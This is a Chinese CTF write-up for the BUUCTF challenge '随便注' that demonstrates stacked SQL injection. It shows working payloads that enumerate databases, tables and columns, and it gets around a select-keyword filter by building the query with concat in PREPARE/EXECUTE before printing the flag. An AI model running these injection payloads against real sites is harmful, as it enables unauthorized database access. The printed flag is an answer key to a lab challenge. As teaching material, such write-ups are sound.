BUUCTF [强网杯 2019]随便注
- 判断传参方式,输入
1' or 1 = 1
,URL传参,所以是get
。
报错error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1
- 报错说明后端参数后面有可能存在其他sql语句,我们在原输入后面加一个
#
,将可能存在的其他sql语句注释掉,即:1' or 1 = 1#
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(2) {
[0]=>
string(1) "2"
[1]=>
string(12) "miaomiaomiao"
}
array(2) {
[0]=>
string(6) "114514"
[1]=>
string(2) "ys"
}
- 既然存在sql注入,那么手动探测一下其他的表,首先判断一下字段个数:
' union select 1,2;#
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
preg_match函数用于执行正则表达式,也就是说,系统通过该代码将select等关键字都过滤了。
select一被禁用,联合查询,报错注入,布尔时间盲注就都不可以使用了。我们只剩下了堆叠注入
。
4. 查看数据库名:1';show databases;#
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(1) {
[0]=>
string(11) "ctftraining"
}
array(1) {
[0]=>
string(18) "information_schema"
}
array(1) {
[0]=>
string(5) "mysql"
}
array(1) {
[0]=>
string(18) "performance_schema"
}
array(1) {
[0]=>
string(9) "supersqli"
}
array(1) {
[0]=>
string(4) "test"
}
- 查看数据表:
1';show tables;#
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}
- 查看表1919810931114514
方法1:1'; show columns from tableName;#
方法2:1'; desc tableName;#
注意,如果tableName是纯数字,需要用`包裹,比如1'; show columns from `1919810931114514`;#
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
- 因为select关键字被过滤了,所以我们可以通过
预编译
的方式拼接select关键字:1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#
得到flag{0079104e-1d78-4af4-90a2-8e166290abf3}
预编译
所谓预编译就是将一些灵活的参数值以占位符?的形式给代替掉,我们把参数值给抽取出来,把SQL语句进行模板化。让MySQL服务器执行相同的SQL语句时,不需要在校验、解析SQL语句上面花费重复的时间。我们可以通过预编译的方式,绕过特定的字符过滤。
格式:
PREPARE 名称 FROM SQL语句 ? ;
SET @x=xx;
EXECUTE 名称 USING @x;
举例:查询ID为1的用户
方法一:
SElECT * FROM t_user WHERE USER_ID = 1
方法二:
PREPARE jia FROM 'SElECT * FROM t_user WHERE USER_ID = 1';
EXECUTE jia;
方法三:
PREPARE jia FROM 'SELECT * FROM t_user WHERE USER_ID = ?';
SET @ID = 1;
EXECUTE jia USING @ID;
方法四:
SET @SQL='SElECT * FROM t_user WHERE USER_ID = 1';
PREPARE jia FROM @SQL;
EXECUTE jia;
参考链接:
https://zhuanlan.zhihu.com/p/545713669